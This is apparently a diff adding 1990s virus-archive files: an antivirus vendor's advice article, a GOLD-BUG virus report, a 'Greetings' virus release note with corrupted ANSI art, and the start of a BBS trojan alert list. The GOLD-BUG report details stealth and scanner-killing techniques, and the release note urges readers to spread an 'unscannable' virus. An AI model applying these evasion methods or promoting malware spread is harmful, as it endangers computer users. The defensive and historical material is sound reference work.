damage.
ie: Run the program on a "diskette only" computer, and keep
a write-protect tab on your "System Disk."
Run the program with "Virus Protection" software
installed.
5. Establish and maintain a sound Back-Up policy.
DO NOT USE ONLY ONE SET OF BACK-UP DISKS THAT ARE
CONTINUOUSLY WRITTEN OVER.
Use at least three complete sets of back-up disks that are
rotated in a regular cycle.
DO YOU NEED SOME FORM OF PROTECTION FROM VIRUSES?
It couldn't hurt !!! You do lock the door to your home
when you go out, right?
Plan in advance the methods you'll use to ward off virus attacks.
It's a far more effective use of management time to establish
preventative measures in a calm environment instead of making
panic decisions after a virus attack has occurred.
IS THERE ANY SOLUTION AVAILABLE THAT'S ABSOLUTELY FOOLPROOF?
No !!!
Any security system can be broken by someone dedicated and
knowledgeable enough to put forth the effort to break the system.
WHAT LEVEL OF PROTECTION DO YOU NEED?
This of course depends on many factors, such as:
1. The sensitivity of the data on your PC's.
2. The number of personnel having access to your PC's.
3. The security awareness of computing personnel.
4. The skill levels of computing personnel.
5. Attitudes, ethics, and morale of computing personnel.
A key point of consideration is the threshold for the amount of
security you can use versus its impact on normal productivity.
Human nature must also be considered. If you were to install 10
locks on your front door and it cost you 5 minutes each time you
enter your home, I'll bet that the first time that it's
raining... and you have 3 bags of groceries... you'll go back to
using the one lock you always used.
HOW CAN A SOFTWARE PRODUCT PROTECT AGAINST VIRUSES?
There are several approaches that have been developed.
One form is an "inoculation" or "signature" process, whereby the
key files on a disk are marked in a special way and periodically
checked to see if the files have been changed. Depending on the
way in which this is implemented, this method can actually interfere
with programs that have built-in integrity checks.
Another method is to "Write Protect" specific key areas of the
disk so that no software is permitted to change the data in those
places.
We at RG Software Systems, Inc. believe that preventative
measures are the most effective. The Disk Watcher system provides
multiple lines of defense: A "Batch" type program automatically
checks all active disk drives for the presence of certain hidden
virus characteristics when the computer is started, and a TSR
(Terminate and Stay Resident) program monitors ongoing disk
activity throughout all processing. The "Batch" program
can also be run on demand at any time to check the disk in a
specific drive.
The TSR program, in addition to its other "Disaster
Prevention" features, contains a series of proprietary algorithms
that detect the behavior characteristics of a myriad of virus
programs, and yet produce minimal overhead in processing time
and "false alarm" reports. Disk Watcher is uniquely able to tell
the difference between legitimate IO activity and the IO activity
of a virus program.
When an action occurs indicative of a virus attempting to reproduce itself;
alter another program; set itself up to be automatically run the next
time the system is started; or attempting to perform a massively damaging
act; Disk Watcher will automatically "pop up." The user will then have
several options, one of which is to immediately stop the computer before any
damage can be done. Detection occurs BEFORE the action takes place.
Other options allow the user to tell Disk Watcher to continue the
application program and remember that this program is permitted
to perform the action that triggered the "pop up."
Some very important features of Disk Watcher are:
Whenever the user selects the "Stop the Computer" option, the
Application screen image and the Disk Watcher screen image will be
sent to the system printer before the machine is stopped, so that
an effective analysis of the problem may be done.
Disk Watcher performs an integrity check on itself whenever it runs.
The "Destructive" viruses that produce "selective" file
destruction or "Random Havoc" are the most difficult to defend
against. The best measures are to prevent them from getting into
the system in the first place.
WHICH VIRUS PROTECTION PACKAGE IS RIGHT FOR YOU?
Since the first reports of virus attacks appeared in the press, a
number of "Virus Prevention" products have quickly appeared on
the market, produced by companies wishing to take advantage of a
unique market opportunity. This is to be expected. RG Software
Systems, Inc. is one of them with our Disk Watcher product.
It should be pointed out, however, that as of this writing, only
a little over 2 months has transpired since the first major
stories appeared.
Those companies that have had to build a product from scratch
during this limited amount of time have had to design the
defensive system, write the program code, write the user's
manual, design the packaging, "Alpha" test, "Beta" test, and
bring their product through manufacturing to market. A monumental
task in a miraculously short period of time.
Companies that have had products on the market that include virus
protection, or products that were enhanced to include virus
protection, such as Disk Watcher, have had extra time and field
experience for the stabilization of their products.
As a professional in this industry, I sincerely hope that the
quickly developed products are stable in their released form.
The evaluation points listed below are usually applied as a
standard for all types of software products:
*Price
*Performance
*Ease of Use
*Ease of Learning
*Ease of Installation
*Documentation
*Copy Protection
*Support
A "Virus Protection" package, like a security system for your
home, requires a close scrutiny. You want the system to do the
job unobtrusively, and yet be effective.
TWELVE SPECIAL CONSIDERATIONS FOR VIRUS PROTECTION PACKAGES:
1. Amount of impact the package may have on your computer's
performance.
If the package is "RAM Resident," does it noticeably slow
down your machine's operations?
If so, with what type of operation? Are program start-
ups slowed? Are database operations slowed?
2. Level of dependency on operator intervention.
Does the package require the operator to perform certain
tasks on a regular basis in order for it to be
effective? (Such as only checking for virus conditions
on command.)
Does the package require much time to install and keep
operational? ie: Each time any new software is
installed on the system, must the protection package be
used?
3. Impact on productivity... Annoyance level.
Does the package periodically stop processing and/or require
the operator to take some action. If so, does the
package have any capability to learn its environment
and stop its interference?
4. False alarms.
How does the package handle situations that appear to be
viruses but are legitimate actions made by legitimate
programs?
Are there situations where legitimate jobs will have to be
re-run or the system re-booted because of the
protection package? How frequently will this occur?
How much additional end-user support will the package
require?
5. The probability that the package will remain in use?
Will there be any interference or usage requirements that
will discourage the user from keeping the package
active? (It won't be effective if they quickly desire
to de-install it and perhaps only pretend they are
using it when management is present.)
6. Level of effectiveness it provides in combatting viruses.
Will it be effective against viruses produced by someone
with an experience level of:
Level 1 - "Typical End User"? (Basic knowledge of using
applications and DOS commands.)
Level 2 - "Power User"? (Knowledge of DOS Command
processor, Hardware functions, BASIC
programming, etc.)
Level 3 - "Applications Programmer"? (Knowledge of
programming languages and DOS service calls.)
Level 4 - "Systems Engineer"? (Knowledge of DOS and
Hardware internal functions.)
Level 5 - "Computer Science Professor that develops
viruses for research purposes"?
Which types of intrusion will it be effective against?
"Covert Entry"?
"Overt Entry"?
Does it detect a virus attempting to spread or "clone"
itself?
Does it detect a virus attempting to place itself into a
position to be automatically run?
If a virus gets into the computer, which types of virus
damage will it detect?
"Massive Destruction"
"Partial Destruction"
"Selective Destruction"
"Random Havoc Destruction"
"Annoyance"
Does the software detect a virus before or after it has
infected a program or made its attack?
Does the publisher claim total protection from all viruses?
7. Does the software provide any assistance for "post mortem"
analysis of suspected problems?
ie: If a virus symptom is detected and the computer is
brought to a halt, is there any supporting information
for analyzing the problem other than the operator's
recall of events?
8. Impact on your machine's resources.
How much RAM is used?
Is any special hardware required?
9. Is the product compatible with:
Your hardware configuration.
Your Operating system version.
Your network.
Other software that you use, especially TSR's.
10. Can the package be used by current computing personnel
without substantial training?
What type of computing experience is required to install the
package?
11. Background of the publisher.
References... Who is using this or other products from
this publisher? How is this company perceived by its
customers? The press?
How long has the publisher been in business?
Was the product Beta Tested?... By valid, well-known
organizations or by friends of the company's owner?
Was the product tested against any known viruses?
Successfully?
What about on-going support? In what form? At what cost?
Does the company plan to upgrade its product periodically?
What is the upgrade policy? Expected costs?
12. Does the package provide any other useful benefits to the
user besides virus protection?

161
textfiles.com/virus/gold-bug.txt Normal file
View File

@@ -0,0 +1,161 @@
Virus Name: GOLD-BUG
Aliases: AU, GOLD, GOLD-FEVER, GOLD-MINE
V Status: New, Research
Discovery: January, 1994
Symptoms: CMOS checksum failure; Creates files with no extension; Modem
answers on 7th ring; BSC but it is hidden; Most virus scanners
fail to run or are Deleted; CHKLIST.??? files deleted.
Origin: USA
Eff Length: 1,024 Bytes
Type Code: SBERaRbReX - Spawning Color Video Resident and Extended HMA
Memory Resident Boot-Sector and Master-Sector Infector
Detection Method: None
Removal Instructions: See Below
General Comments:
GOLD-BUG is a memory-resident multipartite polymorphic stealthing
boot-sector spawning anti-antivirus virus that works with DOS 5 and
DOS 6 in the HIMEM.SYS memory. When an .EXE program infected with the
GOLD-BUG virus is run, it determines if it is running on an 80186 or
better, if not it will terminate and not install. If it is on an
80186 or better it will copy itself to the partition table of the hard
disk and remain resident in memory in the HMA (High Memory Area) only
if the HMA is available, ie. DOS=HIGH in the CONFIG.SYS file else no
infection will occur. The old partition table is moved to sector 14
and the remainder of the virus code is copied to sector 13. The virus
then executes the spawned associated file if present. INT 13 and
INT 2F are hooked into at this time but not INT 21. The spawning
feature of this virus is not active now.
When the computer is rebooted, the virus goes memory resident in the
color video memory. Also at this time the GOLD-BUG virus removes
itself from the partition table and restores the old one back. Unlike
other boot-sector infectors, it does not use the top of memory to
store the code. CHKDSK does not show a decrease in available memory.
At this time it only hooks INT 10 and monitors when the HMA becomes
available. Once DOS moves into the HMA, then GOLD-BUG moves into the
HMA at address FFFF:FB00 to FFFF:FFFF. If the HMA never becomes
available, ie. DOS loaded LOW or the F5 key hit in DOS 6 to bypass the
CONFIG.SYS, then the virus clears itself from the system memory when
the computer changes into graphics mode. If it moves to the HMA, it
hooks INT 13, INT 21 and INT 2F and then rewrites itself back to the
partition table. The GOLD-BUG virus also has some code that stays
resident in the interrupt vector table to always make the HMA
available to the virus. The full features of the virus are now
active.
The GOLD-BUG virus will infect the boot sector of 1.2M diskettes.
The virus copies itself to the boot sector of the diskette and moves
a copy of the boot sector to sector 28 and the remainder of the code
is copied to sector 27. These are the last 2 sectors of the 1.2M disk
root directory. If there are file entries on sector 27 or 28 it will
not overwrite them with the virus code. It will infect 1.2M disks in
drive A: or B: If a clean boot disk is booted from drive A: and you
try to access C: you will get an invalid drive specification.
The boot-sector infection is somewhat unique. If the computer is
booted with a disk that contains the GOLD-BUG virus, it will remain in
video memory until the HMA is available and then infect the hard disk.
Also at this time, it will remove itself from the 1.2M disk. The
virus will never infect this disk again. It makes tracking where you
got the virus from difficult in that your original infected disk is
not infected anymore.
If an .EXE file less than 64K and greater then 1.5K is executed,
GOLD-BUG will randomly decide to spawn a copy of it. The .EXE file is
renamed to the same file name with no extension, ie. CHKDSK.EXE
becomes CHKDSK. The original file attributes are then changed to
SYSTEM. An .EXE file with the same name is created. This .EXE file
has the same length, file date and attributes as the original .EXE
file. This spawning process will not make a copy on a diskette
because it might be write protected and be detected; but it will make
a spawn .EXE file on a network drive. When a spawned file is created,
CHKLIST.??? of the current directory is also deleted. The .EXE file
that is created is actually a .COM file; it has no .EXE header.
The GOLD-BUG virus is very specific as to what type of .EXE files it
will spawn copies. It will not spawn any Windows .EXE files or any
other .EXE files the use the new extended .EXE header except those
that use the PKLITE extended .EXE header. This way all Windows
programs will continue to run and the virus will still be undetected.
The GOLD-BUG virus is also Polymorphic. Each .EXE file it creates
only has 2 bytes that remain constant. It can mutate into 128
different decription patterns. It uses a double decription technique
that involves INT 3 that makes it very difficult to decript using a
debugger. The assembly code allowed for 512 different front-end
decripters. Each of these can mutate 128 different ways.
The GOLD-BUG virus incorporates an extensive steathing technique. Any
time the hard disk partition table or boot sector of an infected
diskette is examined, the copy of the partition table or boot sector
is returned. If a spawned .EXE file is opened to be read or executed;
the GOLD-BUG virus will redirect to the original file. Windows 3.1
will detect a resident boot-sector virus if the "Use 32 Bit Access" is
enabled on the "Virtual Memory" option. GOLD-BUG will disconnect
itself from the INT 13 chain when Windows installs and reconnect when
Windows uninstalles to avoid being detected. When Windows starts, the
GOLD-BUG virus will copy the original hard disk partition table back.
When Windows ends, the GOLD-BUG virus will reinfect the partition
table.
The GOLD-BUG virus also has an extensive anti-antivirus routine. It
can install itself with programs like VSAFE.COM and DISKMON.EXE
resident that monitor changes to the computer that are common for
viruses. It writes to the disk using the original BIOS INT 13 and not
the INT 13 chain that these types of programs have hooked into. It
hooks into the bottom of the interrupt chain rather than changing and
hooking interrupts; very similar to the tunneling technique. If the
GOLD-BUG virus is resident in memory, any attempts to run most virus
scanners will be aborted. GOLD-BUG stops any large .EXE file
(greater than 64k) with the last two letters of "AN" to "AZ". It will
stop SCAN.EXE, CLEAN.EXE, NETSCAN.EXE, CPAV.EXE, MSAV.EXE, TNTAV.EXE,
etc., etc. The SCAN program will either be deleted or an execution
error will return. Also, GOLD-BUG will cause a CMOS checksum failure
to happen next time the system boots. GOLD-BUG also erases
"CHKLIST.???" created by CPAV.EXE and MSAV.EXE. Programs that do an
internal checksum on themselves will not detect any changes. The
Thunder Byte Antivirus programs contain a partition table program that
claims it can detect all partition table viruses. GOLD-BUG rides
right through the ThunderByte partition virus checker.
The GOLD-BUG virus detects a modem. If you received an incoming call
on the modem line, GOLD-BUG will output a string that will set the
modem to answer on the seventh ring.
If a program tries to erase the infected .EXE file, the original
program and not the infected .EXE file is erased.
The text strings "AU", "1O7=0SLMTA", and "CHKLIST????" appear in the
decripted code. The virus gets it name from "AU", the chemical
element "GOLD". The text string "CHKLIST????" is actually executable
code.
The GOLD-BUG virus has two companion viruses that it works with. The
DA'BOYS virus is also a boot-sector infector. It is possible to have
a diskette with two boot-sector viruses. GOLD-BUG hides the presence
of the DA'BOYS virus from the Windows 3.1 startup routine. GOLD-BUG
removes the DA'BOYS virus from the INT 13 chain at the start of
Windows and restores it when Windows ends. The GOLD-BUG virus works
with the XYZ virus; it reserves the space FFFF:F900 to FFFF:FAFF in
the HMA for the XYZ virus so it can load as well.
To remove the GOLD-BUG virus, change DOS=HIGH to DOS=LOW in the
CONFIG.SYS, then reboot. Once the system comes up again, reboot from
a clean boot disk. The Virus has now removed itself from the
partition table and memory. With the ATTRIB command check for files
with the SYSTEM bit set that don't have any extension. Delete the
.EXE file associated with the SYSTEM file. Using ATTRIB remove the
SYSTEM attribute. Rename the file with no extension to an .EXE file.
Format each diskette or run SYS to remove the virus from the boot
sector of each 1.2M disk. Any spawned .EXE files copied to diskette
need to be deleted.
Several variations of this virus can exist. The assembly code allowed
for 14 features to be turned on or off: Delete Scanners, Check for
8088, Infect at Random, Deflect Delete, CMOS Bomb, File Reading
Stealth, Same File Date, Double Decription, Execute Spawned, Modem
Code, Anti-Antivirus, Polymorphic, Multipartite and 720K or 1.2M
Diskette Infection. Some of these features can be disabled and more
code added to change the characteristics of this virus.

3516
textfiles.com/virus/goodwin.txt Normal file
View File

File diff suppressed because it is too large Load Diff

43
textfiles.com/virus/greetng1.txt Normal file
View File

@@ -0,0 +1,43 @@
<20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ķ
<EFBFBD> <20>/<2F> A Youngsters Against McAfee Production <20>\<5C> <20>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ķ
<EFBFBD> DISCLAIMER : By unzipping this file you hearby agree that YAM is not <20>
<EFBFBD> responsible for any damage that it does to your computer or anybody's <20>
<EFBFBD> else's computer. We are also not responsible for what you or anyone else <20>
<EFBFBD> does with the files included, be it running it on someone else's computer <20>
<EFBFBD> or by running it on your own computer. (If your dumb enough too) <20>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ķ
<EFBFBD> <20>/<2F> Executable Information <20>\<5C> <20>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ķ
<EFBFBD> Virus / Trojan Name : The Greetings Virus <20>
<EFBFBD> Author / Modification By : Admiral Bailey <20>
<EFBFBD> Language Used : Assembly Language [TASM 2.0] <20>
<EFBFBD> Type of Virus / Trojan : Encrypted TSR com/exe infector. <20>
<EFBFBD> Date Of Release : 1-2-93 <20>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ķ
<EFBFBD> Some Notes: <20>
<EFBFBD> This here is a TSR com/exe infector. Between certain times it will <20>
<EFBFBD> display a bouncing ball. Both on graphics (which it will ruin) and in text.<2E>
<EFBFBD> When you reboot during a certain time it shall display a certain messege. <20>
<EFBFBD> Well just enjoy and spread this. As of scan 99 its unscannable. If you <20>
<EFBFBD> have any comments you can reach me on the YAM WHQ. The Full Moon. [416] <20>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ

530
textfiles.com/virus/guardian.bbs Normal file
View File

@@ -0,0 +1,530 @@
----------------------------------------------------------------
| THE GUARDIAN LIST |
| |
| -- An Abbreviated Trojan Alert List |
| to be used as a BULLETIN on BBS's |
----------------------------------------------------------------
| Issue #01: November 12, 1989|
| By Tom Sirianni, |
| and Those Sysops of FidoNet & LCRNET Revision Stage `C'|
----------------------------------------------------------------
NAME CATEGORY NOTES
-------------- -------- ---------------------------------------
3X3SHR *TROJAN Time Bomb type trojan wipes the [Hard]
Drive clean. File size is 78,848.
ANTI-PCB *TROJAN The story behind this trojan horse is
sickening. Apparently one RBBS-PC
sysop and one PC-BOARD sysop started
feuding about which BBS system was
better, and in the end the PC-BOARD
sysop wrote a trojan and uploaded it to
the rbbs SysOp under ANTI-PCB.COM. Of
course the RBBS-PC SysOp ran it, and
that led to quite a few accusations and
a big mess in general. Let's grow up!
Every SysOp has the right to run the
type of BBS they please, and the fact
that a SysOp actually wrote a trojan
ntended for another sysop simply
blows my mind.
ARC2ZIP.EXE VIRUS This Lehigh Virus strain that attacks
the COMMAND.COM and is used in
converting ARCed files to ZIPed files.
This file also copies itself into the
ZIPed file while remaining a TSR within
COMMAND.COM. Also it is always looking
for COMMAND.COM on a FLOPPY diskette, so
it has two ways to infect.
ARC513.EXE *TROJAN This hacked version of ARC appears
normal, so beware! It will write over
track 0 of your [hard] disk upon usage,
destroying the disk.
ARC514.COM *TROJAN This is very similar to ARC version
